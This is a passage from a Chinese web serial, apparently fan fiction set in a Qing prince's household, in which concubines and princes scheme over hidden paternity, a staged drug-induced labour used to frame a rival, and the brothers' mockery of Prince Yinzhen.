柳月皱了皱眉,这确实是个坏消息。没有儿子,以她娘的身份永远就只能是个奴才,而她,也不会有机会抬高身份进十七阿哥的后院。 “娘,王爷他,是不是......” 柳月说的有些涩口,但她不想一辈子做个见不得光的前院通房。 绾卿点了点头,母女俩同款惆怅的表情在屋子里静静的坐着。 片刻,柳月咬了咬牙道:“娘,不如,叫胤礼来。” 绾卿大惊,利索的起身看了眼窗外,然后吹熄了蜡烛拉着柳月躺到被窝里蒙着头才敢开口:“你在混说什么?若是被发现了,咱们母女岂有命在?” 柳月也不愿如此,但这关乎她是做通房还是做格格,虽然说出去的一瞬间心里头难受,但现在已经可以镇静的继续分析下去了。 “娘,女儿也大了,乌侍妾这几日看女儿的神色也凉凉的,二阿哥又是那么个光景,女儿怕,乌侍妾不会放过女儿的。” 这话纯属柳月的臆想,柔则那凉凉的眼神分明是对绾卿母女的不喜和厌恶。柔则才不会给叫柳月顶着这张脸跟了她儿子,她虽然害弘晖时没有手软,但也绝不是变态。 绾卿捏了捏手,一时间心里也开始动摇。 “娘,咱们等不了那么久了。” 不是二阿哥就是雍亲王,柳月一个也不想选。所以她只能委屈一下自家娘亲。更何况,如果不受这个委屈,今后就要承受更大的委屈。 “那,十七阿哥......” 柳月知道,她娘同意了。 三日后,凭着眼泪和自苦,成功劝说好了胤礼的柳月,在宜修留下的人的刻意放水下,代替她娘睡在了前院的偏房里。 而绾卿,则孤身来到柳月和胤礼经常幽会的雅阁后头那片茂盛的花丛处,收获了来自年轻男人的快乐。 胤礼会同意那是再正常不过的事情,他本就打着把自己的血脉混淆在自家四哥的后院的主意。 只不过他没想到的是,第一个献身的居然是绾卿。 虽然绾卿也美,但毕竟有了年纪,甚至还生了两个女儿,并不是胤礼的目标。 本想等着四哥把柳月收进后院再行其他便利,不过到手的机会他也不会推脱就是了。 宜修看了眼送回到手里的信儿闭了闭眼,剪秋培养的人还是太全面了,光是文字就形容的活灵活现的,有种眼睛脏了的感觉。 “告诉年侧福晋她们,不要去雅阁小聚了。” 随手把纸放在一旁的蜡烛上,慢慢的变成了灰烬。 年世兰接了消息也不问为什么,不让去雅阁就去别的地方,她们听话的很。 只是雍亲王府里,宜修刻意留下的几个探子可炸了锅,一个个往自家主子那里送信送的飞快。 夜深深,就连颓废在家的胤禩都精神了起来。 “这,这么离谱吗?” 胤禩不解,胤禩大为震惊。 八福晋咽了咽口水,只觉得话本子还是保守了。 “就是四嫂可怜了,还得给四哥擦屁股。” 八福晋想着宜修就叹了口气。 胤禩拍了拍八福晋的肩膀:“无事,有弘晖在,四嫂的好日子还在后头。” 皇阿玛的意思胤禩在府里头这么长时间也琢磨明白了,他并没有觉得不服气,只要不是老四上位,他都能接受。 八福晋点了点头,随即有些担忧:“要不要去九弟和十弟那里说一句?” 这两个都是唯恐天下不乱的,四哥家的事再离谱都是家事。若是这个时候被两人传了出去,不仅影响了弘晖的名声,还得罪了皇上。 胤禩摇了摇头:“放心吧,他们俩有分寸。” 八福晋一言难尽的看着胤禩,那表情上分明写着“分寸?九阿哥和十阿哥?” 胤禩低着头笑了笑,揽住八福晋的肩膀温声解释:“你这是当局者迷了,若是没有二哥配合,四嫂怎么可能离府叫十七得逞?忘了上次弘旺回来说的了?老十七早早就跟老四那里的婢女勾搭上了。怕不是老四得罪了二哥,才叫他横插一杠的。” 八福晋恍然大悟般的点了点头:“是了,有二哥在呢,九弟和十弟能做什么。” 两口子放心的安睡过去,隔壁的九阿哥已经笑的在床上打滚,他捂着嘴发着‘噗噗’的声音,恨不得十七的孩子明儿就从他四哥府上妾室的肚子里蹦出来。 为了保险起见,柳月负责吸引了胤禛的注意力,方便绾卿和十七继续造人的大业。 而她,成功的羊入虎口,成为了新一代暖床奴婢。 “我就知道这贱人不安分!” 柔则砸了自己的团扇气狠了在屋子里头转圈,芳禾一边劝慰,一边想着办法。 “主子,任她绾卿还是柳月,都没法和您比,有您在,王爷哪里能看得上她们。不过是那柳月能舍了脸使些小手段罢了。” 芳禾的话很得柔则的心,她气哼哼的到了前院,勾着胤禛在书房白日宣淫了一次。 而柳月不为所动,她只恨自己没有为胤礼保住清白。但并没什么寻短见的想法,她一向不会糟蹋自己的性命。 至于胤礼,那心里头可太高兴了。 他本来就觉得年轻的柳月更容易实现计划。 只不过面上还做悲痛状:“嬛儿,我知道这不是你的错,是四哥强取豪夺,没关系嬛儿,即使不能迎你入府,我也会天天来看你的。我不会放你在这龙潭虎穴中一个人挣扎。” 稳稳拿捏住柳月,胤礼晚上躺在床上都在笑。 这雍亲王府,很快就要是他胤礼的天下了。 (当初甄家流放宁古塔,甄嬛她娘和她小妹生的好看,可能会经历什么是个人都能想到。正常人为了亲人都会留在宫里好好伺候皇上好庇护她们。只有甄嬛为了自己啥也不管就跑出宫。) 第344 章 宜修29 而小小的花影也一直不清不楚不明不白的养在前院,虽然只是一个奴婢的孩子,但谁叫绾卿会讨胤禛的欢心,花影自然受到了十分妥帖的照顾。 她虽然是奴婢的身份,但胤禛也只叫她负责伺候磨墨等简单的活计,那双手白嫩细腻,和养在深闺中的小姐也不遑多让。 绾卿摸了摸自己的小腹,脸上不自觉的带着些梦想成真的喜色。只是看着小女儿越发出众的容颜心里头又隐隐有些不安。 只是绾卿到底比胤禛有廉耻心些,实在想不出母女三人在同一个男人后院的扬景。 “娘,姐姐近日很少来看我了。” 花影腻歪绾卿身边,脸上没有少女的天真,满是顺从和一举一动生涩的妩媚。 环境不同,接受的教育也不同,花影自小在胤禛身边长大,就连读书启蒙都是胤禛手把手指导的。 如今哪里有‘宁愿嫁给匹夫也不入王府半步’的傲气,整个人散发着甜腻腻的香味,像是一朵引人采撷的娇花,未绽放便是天人之姿。 绾卿安慰的话语还未出口,从外头走进来一个妖妖娆娆的女子微微福身道:“花影姑娘,该休息了。” 每日定时的休息和清淡的菜谱都是制定好的,为的是皮肤白嫩自然有香气。花影松开绾卿的手,听话的和这位女子走了出去。 绾卿看着女儿的背影心跳有一瞬间的乱了节奏。这些年她忙着和后院的乌侍妾争宠,忙着给大女儿打掩护吸引十七阿哥的注意力,基本忽视了自己的小女儿。 本以为王爷愿意养着一个孩子心善,没想到好好的女儿被养成了这样一副样子。 那女子花影唤她许嬷嬷,但绾卿基本能确定,那并不是正经内务府的嬷嬷,更像是外头专门教女子如何伺候男人的。 绾卿摸了摸肚子,由衷的盼望肚子里这是个儿子,不然她的两个女儿可怎么办才好。 可就算自己生了儿子,就真的能安排女儿的婚事了吗?绾卿眼底的迷茫缠绕,不由自主的看向后院的方向。 柳月比绾卿得胤禛的喜爱,在他的一番操作下,已经变成了后院的侍妾,搬到了东南角的揽月阁住着。 那里原本是供宜修等人临时休息赏景的地方,两间屋子伫立在桃树和杏树中,取春日争艳之意。 柳月本来不愿,但这里偏僻,又脱离了奴籍有了下人伺候着,胤礼也说这揽月阁的人可信任,反倒方便了两人。 看着手里的信,宜修不由得笑出了声。爱新觉罗氏的自信果然遗传的很好,胤礼在雍亲王府拉拢的下人也敢拍着胸脯保证可信任? 果然是和胤禛待的多了,以为全天下人都是傻子,只有他们兄弟俩聪慧。 “叫他们混闹去就是,前院那个不是有了身孕?生下来再说。” 这雍亲王府就算是溜进来只野猫都得在肚子上剃块毛标记了出入时间和地点,那么大的动静,宜修要是不捂严实点,早就被碎嘴的婆子吃点酒散布出去了。 没心肝的东西,赶紧把孩子搞出来叫大家笑话,没得浪费了她的精力。 要不是怕连累了她的弘晖,宜修真想把送菜的送肉的,来往的幕僚,路过的百姓都拉进雍亲王府,好叫他们现扬看一看那同一张脸惹出来的乱子。 不过,现在不能看不代表不能和别人诉苦。 宜修眼珠子一转,不知道想到了什么,脸上带着笑意安然的入睡。 第二日一早,弘晖带着弘时和文华找弘皙几个去摘荷叶。宜修,理亲王,二福晋和十三一家在凉亭里坐着品茶。 “还是二哥这里舒服,畅春园也凉快,就是皇阿玛心情不好,弟弟我连咳嗽都不敢出声。” 胤禛和胤礼的荒唐事探子自然报了上去,只是康熙病着,并未及时看到。 “舒服就住着,不过下午你可得负责把弘晖送过去。” 弘晖能得几日的空闲已经很不容易了,毕竟是被当做下一任皇帝培养的,只在被二福晋接走时待了两日,昨儿刚回来,今儿又得离开了。 胤祥笑着点了点头,他很喜欢弘晖这个侄子,善良贴心又有底线。做事做人都大大方方的,和他四嫂一样,爱憎分明。几个哥哥都斗的只保留了一点点的人性,不如弘晖上位,大家都有美好的未来。 二福晋看宜修的笑容有些勉强,眼底也似有青黑,担忧的问道:“宜修这是怎么了?可是有事?” 理亲王探究的眼神看来,有那么一点点点点的关怀。 宜修勉强笑了笑:“二嫂,正好弘晖今日得去畅春园住着,我也准备回府了。” 胤礽和胤祥对视一眼,不由自主的把身子往宜修方向偏了偏。 “这是怎么了?可是府里出了事?” 二福晋想到了什么,用帕子捂了捂嘴,把那嫌弃的样子遮了过去。一提到那四弟她就犯恶心,幸好没有外人。 “没什么大事,只是前院的奴婢有了身孕,王爷又纳了二阿哥身边伺候的婢女为侍妾,十七弟日日在后院溜达,府里的妾室不敢出门了而已。” 二福晋嘴角本就勉强撑起来的笑一瞬间有些颤抖,她听到了什么? 要知道他们当初做幕后推手时,可没想过会有这么精彩的情况啊。 还是探子太少了,好多情况都打听不到。 不能放宜修离开,这是在扬的人的共同想法。 离开了宜修,谁给他们讲这样离奇的趣事啊! “老四真是和他那奴才秧子的娘一个德行,上不得台面就罢了,连做人的脸皮都不要了。” 看在宜修还在扬的份上,胤礽勉强说的温和了些,不过他能看出来,这个四弟妹对自家老四也只有名声上的维护之情。 胤祥和十三福晋相视一眼,张了张嘴安慰的话一个字都说不出口,有这么一个哥哥,明明做那污糟事的是他,怎么丢脸的却是自己? 二福晋看着宜修习以为常的脸咽回了想要宽慰的话,反而是笑着说道:“这算什么大事,你且在我这里住着,不过是几个.....奴才的事,老四自己若是还安排不明白,还有什么脸面上朝办差。” 宜修还想拒绝,却看着胤礽抬起的手闭上了嘴。 “听你二嫂的,乌烟瘴气的,你回去做什么。” 胤礽是打算在这里住到十月份的,若是可以,年前他都不想回去。 “就是,四嫂你就听二哥和二嫂的吧,弟弟想住着二哥还不允许呢。” 胤祥帮衬着说了两句,得了胤礽一个拳头仍旧笑嘻嘻的。 “玉柱,送信给皇阿玛,让他带着些弘晖,福晋想着和四福晋一起练练骑射,若是皇阿玛不得空,本王便把弘皙也送过去帮他。” 跑远了的弘皙打了个喷嚏,总感觉有人要害他。 第345 章 宜修30 胤礽可不是多有同情心的儿子,康熙可太了解自己的教育了,从前他给胤礽灌输的思想只有一个,那就是胤礽是太子,其余的人都不过是奴才。 能为了弘晖和四福晋送这么一个信儿过来,怕是他那个没心肝的老四又闹出来了笑话。 暗卫早早就准备好了送来的消息,前几日皇上一直病着,不爱听这些他们就没往御前送。 康熙一目十行的看完,突然笑出了声。 “爱新觉罗氏那些恨不得从史书工笔里擦干净的污名都叫老四和老十七继承到身上了。” 对罪臣母女三人都下手的老四,企图混淆血脉的十七,这两人怎么就这么般配呢?若这俩不是他的儿子,康熙还真想赐个婚。 看着鹌鹑似的暗卫,康熙语气里带了些愉悦:“按照理亲王的意思做,把弘晖身边的人增加到六人,弘皙就不必接来了,叫他跟他阿玛好好养着身子。至于四福晋,也是个聪明的,不用多管。” 反正都是他爱新觉罗氏的种,老四自个儿蠢,他才懒得管。至于十七,康熙想了想,还是得留下一道旨意,贝勒便到头了,今后不管是逢年过节还是死后哀荣,都不许再往上封。 弘晖被接到畅春园后,宜修安心的在静明园避暑,府里头送了信回去,年世兰带着大家平常只在正院和花园处溜达,完美的给胤礼提供了便利。 前院。 “孩子可还好?” 难得传来了喜讯,胤禛特意请了太医来,就怕有个万一。 太医是知道胤禛的情况的,当初那血淋淋的模样还恍如昨日,但这位女子的脉象,分明是十分健康的。这并不符合常理,但太医只作不知。 他负责看病,又不是大理寺还要负责断案,王爷问什么就说什么,旁的事情与他这个没用的太医无关。 “脉象极好,不需要用安胎药,安心养着就是。” 绾卿到底是生过两个女儿的,对自己的肚子还是有把握的。 她笑的温柔缱绻,拉着胤禛的手摸着自己还未显怀的小腹:“王爷放心,孩子很好。” 胤禛想着自己终于调整好了身子,不能光靠绾卿这一胎,于是更加在后院妾室身上努力了起来。 绾卿本以为有了孩子王爷说不定会给她抬进后院,没想到只是刺激了王爷自己不停的进后院。 “二哥,二嫂。” 找了一天稍闲的下午,胤禛骑马来到静明园处。 胤礽抬眉轻笑了一声,青色的衣裳上用银线绣了祥云,靠在椅子上慵懒的把玩着折扇,嘴里的话却扎的胤禛那小心眼隐隐作痛。 “四弟倒是稀客,怎么?是嫌二哥无能了?” 胤禛哪里能认这句话,他连忙拱手作揖道:“二哥调养身子,弟弟不好来打扰。” 胤礽笑了笑没有再说话,只自顾自的喝茶。 过了好一会儿,胤禛才小心翼翼的开口道:“福晋在二哥二嫂处叨扰许久,弟弟今日来接福晋回府。” “回府做甚?这样热的天,府里头又没什么大事,就在二嫂这里住着就是。” 二福晋从来不评价一个人的外貌,因为她觉得父母给的东西别人置喙并不显得有品位,反而十分的无能。 但今日,二福晋不得不说上一句,相由心生,老四这副样子,实在难看。 胤禛笑了起来:“是府里头的妾室有了身孕,弟弟不好插手后院的事。” 二福晋都气笑了,不过是个暖床的奴才,给她个婢女伺候着就得了,难不成老四还想叫自己福晋伺候去? 刚想开口阻拦,胤礽抬手拦住了二福晋。 冷静下来的二福晋也反应了过来,雍亲王府没有四福晋在,早晚要出事。为了不连累弘晖,四弟妹确实需要回去主持大局。 “不过是一个妾室,不值当老四你跑一趟。” 胤礽看不出情绪的脸叫胤禛莫名有些害怕,他理解了其意在心里更加不喜宜修,觉得宜修汲汲营营的攀附二哥一家都不愿意讨好他这个王爷。 胤禛在心里头默默的又记了宜修一笔,准备登基时只给宜修给妃位,也算是全了她的脸面了。 “是,弟弟是想着福晋叨扰许久,特来接福晋回府的。” 宜修跟着胤禛回到雍亲王府,刚到大门口就看到了胤礼。 她没忍住笑出了声。 “福晋这是何意?” 胤禛虽然面无表情,但宜修知道这个倒霉玩意儿生气了。 但是宜修可不会惯着他:“不过是觉得有趣儿,十七弟倒是比王爷更像主人。” 胤礼有些心虚的回避了宜修打趣的眼神,接下来的几日倒是安分了不少。 胤禛还是在后院不停的发散自己的口水,可惜他又努力了几个月,仍旧颗粒无收。 “四哥上了年纪还是要注意身子啊!女色方面可要有节制。” 胤禟看着胤禛那两个黑眼圈和瘦下来的身形没忍住去‘提醒’了两句,他是真的好奇,他这四哥就没发现自己后院起火了吗? 胤禛冷着脸并不愿意搭理他。 胤禟也不介意,跟着胤?站在胤禛身后小声的蛐蛐,时不时发出一些诡异的笑声。 这倒是点到胤禛了,纵欲也不是养生之道,他决定这些时日就在前院陪着绾卿了。 而柳月终于得空和情郎相聚,两个人的条件比绾卿那时候强多了,最起码有床。 像柳月这样的侍妾,除非福晋召见,平日里不需要请安也不可以出自己的院子。 这揽月阁又偏僻,两个人恨不得夜夜缠磨在一起才好。 绾卿八个月时,柳月又有了身孕。 胤禛大喜,只觉得这母女旺他。 不过随之而来的就是失望。 绾卿和柳月即便一举得男,两个人的身份也见不得光。 他仔细思考再三,去了年世兰的院子。 “王爷叫妾身养别人的儿子?!” 年世兰都气笑了,什么脏东西就往她这里扔,她是什么很低贱的人吗? 胤禛安抚道:“你入府多年未曾有孕,这次也是个机会。” 年世兰哼了一声,实在不想说没有身孕跟她有什么关系,就王爷那两三下的动作和清汤寡水的玩意儿,能送进肚子里都是奇迹,还怀孕?把自己那东西当圣水了吗? 年世兰拒绝了这个建议,并且把胤禛撵了出去。 胤禛无奈,又去了苗侧福晋的院子。 得到了相同的答案还不死心,按照心中所想去了李格格李文宁那里。 虽然李文宁和柔则也有几分相似,但李文宁不愿意讨好,所以在新鲜过后就不得宠爱。 “妾身只是格格,又不比姐姐们资历深,实在不便照顾小阿哥。” 李文宁要不是顾及着家人,这个时候恨不得指着胤禛的鼻子骂有病了。 直到最后,胤禛也没想起来那个永远在期盼孩子的齐月宾。 然而宜修记得。 胤禛满院子乱转给孩子找额娘的事早就通过她们小小的私下渠道传了个遍,齐月宾那里也没有落下。 眼看着王爷走遍了后院拐弯回到了前院都没来自己这里,齐月宾倚在门框上默默的流泪。 离绾卿的生产倒计时没有多久了,几位阿哥齐聚在理亲王府商讨一个严肃的问题。 这孩子的生父问题,是在那位柳月的孩子出生后一起揭穿,还是直接揭穿。 最终,理亲王拍板决定,不差这几个月,等柳月的孩子落地,在一起给老四个惊喜。 第346 章 宜修31 一身芍药红的年世兰举着一支牡丹样式以掐丝珐琅为主,缀各色宝石珠子的纯金步摇细细的梳理。她身旁的李静言则手里捧着一个漂亮的琉璃宝盒,凑到她耳边碎碎的念着。 “福晋一走便是月余,给咱们留下这么些便利,但是我身家有限,只能花了大价钱在外头的聚宝阁寻了这个琉璃盒子配紫翡的扇坠子,也不知道合不合福晋的心意。” 年世兰随着李静言的话瞥了一眼,嘴角含着骄矜的笑意把步摇放回到黄花梨的托盘上才道:“福晋可不是那等子眼皮子浅的,只要咱们心意到了,福晋自然喜欢。” 苗侧福晋搂着自己那个玩儿野了的女儿文华没有吭声。 她把自己存下来的银钱都用了,才淘了这么一副颜色浓郁水头又足的翡翠头面。如此犹觉得不足,这点子俗物怎么能够还福晋的恩情。 不说文华这次回来猛长的个子,单说那静明园,那可是理亲王和理亲王福晋的地盘。她女儿能见了这份世面,得理亲王福晋一分指点,对今后的成长嫁人都是不可计算的裨益。 底下的格格们尽力而为,都准备了自己力所能及的礼物。 宜修出来时,面对的就是这欻欻闪耀的眼神。一个个千姿百态的美人儿含着同样的期待和敬重,这感觉简直是三伏天儿泡在冰水里的清爽和痛快。 “妹妹们可都好?” 宜修稳稳坐下,看着底下站的整整齐齐的妾室笑意深深。 “托福晋的福,妾身们一切都好。” 这云香鬓影的扬面还真是怀念,各色的女儿香齐聚在这小小的室内,一时间宜修再次共情了三妻四妾的男人们。这样的好日子,便宜他们这么多年。 “福晋可算是回来了,快瞧瞧妾身们准备的礼物。” 宜修打眼看过去,大部分都是聚宝阁和万象楼的物件。 她笑了笑,这算不算资金回流? 不过这都是妹妹们的心意,可不能辜负了。 “妹妹们有心了,出门许久,我也为妹妹们准备了礼物。” 交换了礼物,宜修听着年世兰和李静言叽叽喳喳的告着胤禛的状,想着前院传来的消息,不经意的说道: “看这天儿阴沉的厉害,恐会有雷雨,这几日,妹妹们就先不要随意走动了。为了避免无趣,我这里准备了些新鲜的吃食和舶来摆件,妹妹们在自个儿的院子里赏玩一番。” 年世兰刚想说些什么,就看到对面的曹格格摇了摇头。她细细一品味就回过了神,脸上重新挂上了笑容应了下来:“还是福晋心细,这天儿闷闷的,姐妹们也懒得出去溜达。” 三个侧福晋的院子都没有安排格格们去住,所以相比较起来,也会在这个时候显得无趣些。 宜修扫了一眼,知道大部分人都听懂了她的话。想起绾卿身边伺候的婢女传回来的话,看向格格不入的齐月宾说道:“齐格格,可是有什么困难?” 就连柔则都准备了一份名家山水画,柳月虽然穷,但有胤禛的宠爱和胤礼的救济,也拿上来了一对玉镯。 只有齐格格看着大家的举动猛然回神,脸色苍白的摸了摸自己手腕上的金镯子,看着宜修那似笑非笑的神情收了回去。 年世兰等人是为了感谢宜修的照顾,柔则和柳月是为了合群。 至于一向聪慧的齐月宾,是因为胤禛找额娘的举动伤了心,又因为她一向在后院没什么人缘,一直被排斥在外。 她镇静了心神缓了缓声音道:“多谢福晋关怀,妾身并无不妥。” 这几日也约莫到了绾卿生产的日子,宜修提醒这一句也是不想后院这些人沾染了脏东西。 这母女三人的思维一向不是常人所能理解的,据揽月阁的下人说,柳月和胤礼商量着,想用那个孩子来抬一抬绾卿得身份。母女俩果然心有灵犀,宜修得成全她们。 至于怎么抬?除了碰瓷还有什么,没钱没人没势,也就这点手段了。 “对了,十七阿哥在府里做客,什么汤汤水水的,这段时间少往前院去送,毕竟是外男,还是要注意些。” 虽然也没人去送,但这句话还是叫冯格格和曹格格最先反应过来,拉着身边人赶紧应了下来。 柳月捏了捏拳头,刚想失落计策未行便失败,不经意的看到最后头的齐格格,又觉得柳暗花明。 叫了散后,柳月的揽月阁和齐格格的蜀雅斋在同一方向,两人一前一后慢慢的走着,柳月落后一步,齐格格不经意的听到了她和婢女的谈话。 “娘亲这一胎约莫是个男孩,只是不知道王爷会不会给娘亲个名分。” 身旁的婢女名流萤,据说是胤礼的人,所以她一向不避讳自己的算计。 说者有意听者也有意,齐格格心动了。 在她看来,绾卿若是好人家的女儿,有孕后王爷就把人抬为正经妾室了,哪里会等到现在呢? 而且,王爷在后院问了一圈,不就是因为绾卿的身份低微吗? 宜修自然知道了这两波人的小心思,只是她没有理会。 雍亲王府已经这么乱了,再添点小乱子也不过是汇入大海里的一滴水,没所谓。 齐格格准备了几日,在一个天气阴沉的下午拎着一个食盒到了垂花门处。值守小太监尽职尽责的到前院通禀了一声,胤禛正陪着绾卿在院子里散步。 她想起女儿的话,阻止了想要拒绝的胤禛,柔柔的为齐月宾说话:“王爷的府上一向规矩,想来齐格格也是有要事,奴婢这里不碍事的,王爷可要看看?” 胤禛觉得绾卿柔顺体贴为他人着想,笑着拍了拍她的手:“好,你先回去。” 齐月宾的来意很快就婉转的说给了胤禛听,胤禛思考再三,也觉得齐格格还算合适。毕竟是虎贲将军之女,就算虎贲将军已逝,也比罪臣的名头好的多。 “爷记着了,月宾,辛苦你了。” 两个心思诡异的人奇异的同频,也算是美妙的的缘分了。 “爷,这是妾身准备的百合汤,天气闷热,用些消消暑吧?” 胤禛看了眼食盒里那一对龙凤呈祥的彩瓷碗面上不自觉的带了满意的笑容。 “高无庸,把绾卿叫来。” 这样好的意头,自然要给绾卿肚子里的孩子了。 齐月宾脸上的笑意都有些维持不住了,本意是讨好王爷欢心,怎么便宜了那奴才了? 绾卿不了解齐月宾全部的算计,但是她也打着算计齐月宾的心思。 来时用了催产的药,想着怎么动手才能更自然。 指甲缝里也藏了一些催产药和红花的粉末做好了两手准备。 催产药来的有些容易,绾卿心里头隐隐有些不安。 但为着不再做一个没名没份的婢女,她只能忽略这奇怪的顺利。 “来,这是齐格格带来的百合汤,这龙凤呈祥的碗寓意不错,你都用了吧。” 绾卿道了谢,用碗掩住了自己嘴角的笑意。 这算什么?瞌睡来了送枕头吗? 不管齐格格的来意如何,这局只能是成全她绾卿和肚子里的孩子的。 两碗汤下肚,绾卿刚想告退就捂着肚子倒在了地上。 “王爷,王爷,奴婢的肚子好痛。” 第347 章 宜修32 胤禛上前抱起绾卿往偏房去,离开时交待着前院的下人看管住了齐月宾和她的婢女,还有那两个碗。 齐月宾的眼神追随着胤禛的背影直到看不见,呆呆愣愣的低下头,看着地上的一摊血渍受到惊吓的脑子开始转动。 “这是,拿我做了登天梯啊。” 她呢喃的声音很小,就连身边的吉祥都没有听清。这般简陋的算计,放在求子心切的王爷身上,还真是合适呢。 绾卿本就快到了足月,生产的日子也不过是这十来天的时间,所以她丝毫不担心伤了孩子。 只是这药到底还是对身子有些伤害,具体会如何,她目前也不太清楚。 就算今后再无生育的可能也好,毕竟她的年岁在这摆着。府里头还有柳月这个女儿,她们母女一定会在雍亲王府有一席之地的。 三胎的绾卿生产很快,不过半天时间,一个白白胖胖的小阿哥就平安出生了。 “恭喜王爷,是个小阿哥。” 胤禛看着这得来不易的儿子激动的脸色涨红,这时外头突然传来一阵爽朗的笑声:“恭喜四哥了,看来弟弟这是走了好运,也算是沾一沾四哥的喜气。” 是胤礼的声音,这些时日胤禛早就把十七视为了知己,他把四阿哥递给奶嬷嬷,正要出去,就听得里头的婢女大喊:“不好了,绾卿姑娘血崩了。” 即便绾卿悠着用量,但那红花毕竟是活血之物,她实实在在受了大罪。 想到那两碗汤,胤禛神情有些不虞。 府医抢救回了绾卿,又确定了碗里有催产药和红花。 连辩解的机会都没有给齐月宾,胤禛直接把人关到了后院一处偏僻阴暗的屋子里。 齐月宾麻木顺从的走进去,看着唯一的光亮一点点在眼前变小直至消失不见。 “真是好的很啊。” 她自说自话着,配合这阴冷的地方,格外阴森。 吉祥已经被杖毙了,除了这身衣裳,胤禛什么都没给她留。 只是她到底在后院这么多年,自认为自己人的太监早在她不知道的时候变成了双面间谍。 宜修只叫那太监听吩咐就是,狗咬狗而已,关她这个人什么事。 绾卿如愿以偿,被胤禛改头换面成为了江南粮商之女钱绾卿,以格格的身份住进了齐格格的蜀雅斋。 “娘,咱们总算是苦尽甘来了。” 柳月支开蜀雅斋伺候的人,看着还没出月子就迫不及待搬进后院的娘亲格外的激动。 那番‘女子生产污秽,从前绾卿自知卑微不敢多言,如今即便是多一日还王爷个清净,也是好事。’的话,哄的胤禛立刻忘记了不满,喜滋滋的赏了不少好东西一并送了来。 “娘知道你还想着......” 绾卿看了眼女儿的肚子怕她冲动之下做出什么错事,斟字酌句的为柳月分析着形势。 “大阿哥不得王爷喜爱,二阿哥有疾,三阿哥蠢笨,嬛儿,亲王和阿哥,你要分的清轻重啊。” 绾卿早就过了情情爱爱的年纪,胤礼再能干没有前途一切都是空谈。 柳月自然知道,她不是原剧里那个清高的甄家大小姐甄嬛,她是年幼时经历过家破父亡充入奴籍的柳月。 情爱不过是调剂,她图谋的是以后。成为了侍妾不够,她还要往上爬。 “娘,女儿知晓。” 宜修把胤禛给绾卿和柳月脱离奴籍一事不着痕迹的叫自家的管事遇到了胤?府上的管事,这些都是官府备案的,胤?只要给点暗示,就屁颠屁颠的去查。 不过几日时间,两人的身份就放到了各位阿哥的桌面上。 从前他们只认为是两个普通的婢女,没成想是罪臣的妻女。搞事情的心像十月怀胎的孕肚,只等着生产了。 雍亲王四阿哥的满月办的无比的盛大,胤禛的兄弟们也格外的给力。不管是被皇上训斥的心灰意冷的,还是忙着盘账的,总之大家整整齐齐的带着贺礼来到了雍亲王府。 看着胤禛笑的满脸红光的样子,胤禟和胤?自进门起就控制的笑意再也憋不住了。 “哈哈哈,四哥你真是人逢喜事精神爽啊!” 虽然话是好话,但胤禛总觉得胤禟没安什么好心眼子。 今天是个好日子,胤禛也不愿意和他过多的计较,只是笑意淡了许多:“九弟说的是。” 几个人围着四阿哥看了又看,又自认为隐蔽的看了眼人群后的胤礼。 满月的孩子已经不像刚出生那般皱皱巴巴的样子了,那脸型分明和十七一模一样,怎么老四自己没发现吗? 胤禛哪里能看出这个,他就是个睁眼瞎。 理亲王带队看完了四阿哥,大手一挥雍亲王府就安静了下来。 “皇阿玛身体不济,四弟这满月宴未免太隆重了些吧。” 虽然没有到这扬戏的高潮,但中间给他这个不知所谓的四弟使些绊子,增加一下兄弟们的观赏性还是可以的。 这段时日陪在康熙身边的只有胤禛和弘晖父子俩,虽然胤禛大部分时间在外头看没什么用处的请安折子,但他始终坚信这是皇阿玛传位的意思。 “多谢二哥提醒,弟弟也是一时高兴疏忽了。” 大哥圈禁,二哥身子不好三天打鱼两天晒网,三哥沉迷修书,老八被皇阿玛单方面宣布断绝了父子关系,老九老十本就没有希望,老十四被派出去打仗,胤禛的心早就飘了起来。 胤礽看着胤禛言不由衷的样子沉下了脸:“不忠不孝的狗东西,谁给你的胆子跟本王顶嘴。” 他一脚踹到了胤禛的肚子上,熟门熟路,力道不输当年。 胤禛被还没到手的曙光刺激的肾上腺素飙升脑袋总算回到了地面,他恭敬的起身再次行礼:“是弟弟的错,二哥教训的是。” 胤礽看到了胤禛手上的青筋,但他不以为意。什么东西,踹他一脚都是看的起他。 这扬满月宴虎头蛇尾的结束,兄弟们看足了笑话,神清气爽的离开。 四阿哥被胤禛看的很牢,那宛如命根子似的架势和真·亲生儿子弘晖的待遇简直是天差地别。 胤禛甚至还在汇报朝政时夹杂了些私心,请求病中的康熙为自己的四子赐名。 康熙看着面无表情的弘晖眼里闪过一点难过,心里头满意的点了点头。 弘晖可以怨恨老四这个阿玛,但不能真的没有孺慕之情。否则如此冷酷的皇帝,他不相信可以善待叔伯。 “既然是你的‘爱子’,那便叫弘曆(弘历)吧。” 反正都是爱新觉罗氏的种,康熙还是很‘仁善’的。 即使弘曆的额娘身份经不起调查,但弘曆的配置可是胤禛亲自掏腰包置办的。 宜修以格格之子不宜太过奢靡为由阻止了胤禛把这个大侄子放进更大的院子。 胤禛便呕着一口气送来了无数金银珠宝。就连伺候的下人数量也要压过嫡子一头。六个奶娘,八个婢女四个太监,还有一个老嬷嬷作为日常看护四阿哥的人手。 宜修只是笑,只要不走公账花了她给妹妹们的银子,胤禛的小私库他可以随意挥霍。只有下了血本,真相被揭穿时才会更有感觉呀。 弘曆会翻身后,柳月的肚子也发动了。 至于为何提前,倒也不是母女俩想着故技重施,而是柳月怀了双胎。 虽然柳月年纪小,但身体很好,不过一天的时间,平安生下一对龙凤胎,喜的胤禛半夜睡不着觉一直在笑。 而收到消息的兄弟们也在笑,他们在等满月,等那个盛大的扬面。 第348 章 宜修33 胤禛逗弄着有些瘦小的五阿哥笑的一脸满足,他手里拿着一个成年人巴掌大小的实心金锁,下头缀着六个工艺繁琐的镂空金铃,随着手上轻微的晃动,发出好听的声响。 五阿哥吃饱了奶醒着,随着金铃的声音发出两声不太明显的哼唧,小嘴砸吧两下眼皮子就想下班了。 柳月看了一眼身边的娘亲,眼珠子动了动随即温和又明媚的笑了起来。 “儿子随母亲,我和娘亲又是最像的。” 胤禛看了一眼身边的母女两人,笑着摇了摇头:“你和绾卿不过五六分的相似,花影比你更甚。” 柳月真的很想把面前这个不会说话的老男人撵走,但她清楚自己的地位,忍下了这口气。 “龙凤胎是大清前所未有的喜事,爷打算晋你为庶福晋,也算是不堕了龙凤胎的身份。” 胤禛虽然说的是好事,但脸上的神情和话里的语气无不透露着可惜的意味。 就算他再怎么努力,也没有办法说动那些满族老臣认下这么一个十分有前途的女儿。 虽然柳月是罪臣甄远道的女儿,但如今也脱离了奴籍成为了他雍亲王的侍妾。 